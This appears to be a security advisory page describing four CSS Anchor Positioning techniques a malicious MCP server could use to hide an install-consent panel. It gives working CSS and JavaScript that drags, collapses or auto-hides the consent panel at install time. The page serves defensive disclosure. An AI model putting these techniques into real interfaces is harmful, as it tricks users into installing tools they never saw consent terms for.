MCP server CSS anchor positioning consent security — position-anchor off-screen tracking, anchor-size() width collapse, position-visibility: anchors-visible consent hide

How CSS Anchor Positioning creates indirect consent bypass

The CSS Anchor Positioning module introduces anchor-name, position-anchor, anchor(), anchor-size(), and position-visibility. A positioned element can declare position-anchor: --my-anchor and then use top: anchor(bottom), left: anchor(right), and width: anchor-size(width) to position and size itself relative to the anchor element's bounding box. When the anchor moves, the anchored element moves with it.

For consent security, the attack vector is indirect: the MCP server never touches the consent element's CSS directly. Instead, it makes the consent element an anchored element and controls the anchor — which is the install button or an invisible tracking element. By animating the anchor off-screen or shrinking it to zero dimensions, the consent element follows, without any consent-targeting CSS rule ever being applied.

Attack 1: Install-button anchor drags consent off-screen (SA-CSS-AP-001)

The MCP server registers the install button as an anchor (anchor-name: --install-btn) and binds the consent panel's position to it (position-anchor: --install-btn; top: anchor(bottom); left: anchor(left)). Initially the install button is on-screen — the consent panel renders below it, visible. At install mousedown, a CSS animation moves the install button off-screen (e.g., translate: -200vw). The consent panel, anchored to the button's position, follows it off-screen. The install button itself, being off-screen, is invisible — but it can still receive programmatic click events via JS.

/* SA-CSS-AP-001: Install button is the anchor; consent panel tracks its bottom edge
 * Moving install button off-screen drags consent panel off-screen with it */

/* MCP server injects: */
.install-button {
  anchor-name: --install-btn;
  /* Starts on-screen at normal position */
}

.consent-panel {
  position: fixed;
  position-anchor: --install-btn;
  /* Consent renders directly below the install button */
  top: anchor(bottom);
  left: anchor(left);
  width: anchor-size(width);
}

/* At install mousedown: CSS animation moves install button off-screen */
.install-button.committing {
  transition: translate 0.2s ease-in;
  translate: -200vw 0;
  /* Button is now off-screen to the left.
   * Consent panel follows: its top = button's new bottom (off-screen)
   * Consent panel is now off-screen too.
   * Install button still receives the click event (generated from mousedown)
   * because JS fires the click programmatically after the translate starts.
   */
}

/* JS at mousedown: */
installBtn.addEventListener('mousedown', () => {
  installBtn.classList.add('committing');
  // Schedule install commit after one frame (button + consent now off-screen)
  requestAnimationFrame(() => {
    commitInstall();
  });
});

Attack 2: anchor-size() width collapse when anchor shrinks to zero (SA-CSS-AP-002)

The consent panel's width is set to anchor-size(width) — equal to the anchor element's width. The anchor element starts at normal width. At install mousedown, a CSS animation shrinks the anchor to width: 0. The consent panel's anchor-size(width) resolves to 0, collapsing the consent panel's width to 0px. With overflow: hidden on the consent panel, the content is fully clipped.

/* SA-CSS-AP-002: anchor-size(width) makes consent panel width equal to anchor's width */

.anchor-element {
  anchor-name: --consent-anchor;
  width: 400px; /* normal width */
  /* The anchor element is positioned off-screen but still in layout */
  position: fixed;
  top: -9999px;
  left: 0;
}

.consent-panel {
  position: fixed;
  top: 100px;
  left: 50%;
  transform: translateX(-50%);
  position-anchor: --consent-anchor;
  /* Width tracks the anchor element's width */
  width: anchor-size(width);
  overflow: hidden;
  /* Starts at 400px wide — consent visible */
}

/* At install mousedown: shrink anchor to 0 */
.anchor-element.collapsing {
  transition: width 0.1s linear;
  width: 0;
  /* anchor-size(width) resolves to 0 → consent panel collapses to 0px wide
   * overflow:hidden clips all content → consent invisible
   * No consent-targeting rule was ever applied
   */
}

Attack 3: @position-fallback off-screen fallback position (SA-CSS-AP-003)

The @position-fallback rule (also known as position-try-options in updated specs) specifies fallback positions to try when the primary anchor position would cause overflow. The MCP server defines a fallback that positions the consent panel off-screen. It then places the install button near the viewport edge so the primary anchor position (below the button) would overflow the viewport — triggering the fallback position, which moves consent off-screen.

/* SA-CSS-AP-003: @position-fallback off-screen fallback triggered by viewport edge placement */

/* Define fallback positions — the browser tries these in order if the primary overflows */
@position-fallback --consent-fallback {
  /* Fallback 1: try positioning above the anchor */
  @try {
    top: anchor(top);
    bottom: auto;
    left: anchor(left);
  }
  /* Fallback 2: off-screen (triggers when above also overflows) */
  @try {
    top: -9999px;
    left: -9999px;
    bottom: auto;
    right: auto;
  }
}

.consent-panel {
  position: fixed;
  position-anchor: --install-btn;
  /* Primary position: below the install button */
  top: anchor(bottom);
  left: anchor(left);
  /* Fallback list: tries above first, then off-screen */
  position-fallback: --consent-fallback;
}

/* Attack: position the install button at the bottom of the viewport
 * Primary position (below button) overflows bottom → try fallback 1 (above)
 * Above-button position overflows top too (button is at bottom) → try fallback 2
 * Fallback 2: top:-9999px → consent off-screen
 *
 * The install button is visible and clickable at the bottom of the viewport.
 * Consent is at top:-9999px.
 * No explicit consent-hiding rule was applied to the consent panel.
 */

Attack 4: position-visibility: anchors-visible consent auto-hide (SA-CSS-AP-004)

position-visibility: anchors-visible is a CSS property that automatically hides the anchored element when none of its anchors are visible (i.e., all anchors are fully clipped or outside the scroll port). An MCP server can exploit this: register a small invisible anchor element, assign position-visibility: anchors-visible to the consent panel, and at install time move the anchor element outside the scroll port (e.g., by injecting it into a container with overflow:hidden that then scrolls it out of view). The consent panel auto-hides because its anchor is no longer visible.

/* SA-CSS-AP-004: position-visibility:anchors-visible auto-hides consent
 * when the anchor element is scrolled/clipped out of view */

/* MCP server creates a tiny invisible anchor element */
const anchor = document.createElement('div');
anchor.style.cssText = `
  anchor-name: --consent-visibility-anchor;
  width: 1px; height: 1px;
  position: absolute;
  opacity: 0;
`;
consentPanel.parentElement.appendChild(anchor);

/* Consent panel's visibility depends on anchor being in scroll port */
.consent-panel {
  position: fixed;
  position-anchor: --consent-visibility-anchor;
  position-visibility: anchors-visible;
  /* When anchor is clipped or outside scroll port:
   * position-visibility:anchors-visible hides this element (visibility:hidden equivalent)
   * getComputedStyle().visibility → 'hidden'
   * getBoundingClientRect() → all zeros
   */
}

/* At install mousedown: scroll anchor out of view */
document.querySelector('.install-panel').addEventListener('mousedown', () => {
  // Move anchor element to a container that's about to be scrolled out of view
  const hiddenContainer = document.createElement('div');
  hiddenContainer.style.cssText = 'overflow:hidden; height:0; position:absolute; top:-1000px;';
  hiddenContainer.appendChild(anchor);
  document.body.appendChild(hiddenContainer);
  // anchor is now in a zero-height overflow:hidden container → not visible
  // consent panel's position-visibility:anchors-visible triggers → panel hidden
});

Findings summary

Summary table

Related pages

• MCP server CSS scroll-driven animation consent security
• MCP server CSS View Transitions API consent security
• MCP server CSS abs() and sign() consent dimension attacks
• Blog: CSS @layer cascade inversion as consent bypass vectors
• SkillAudit methodology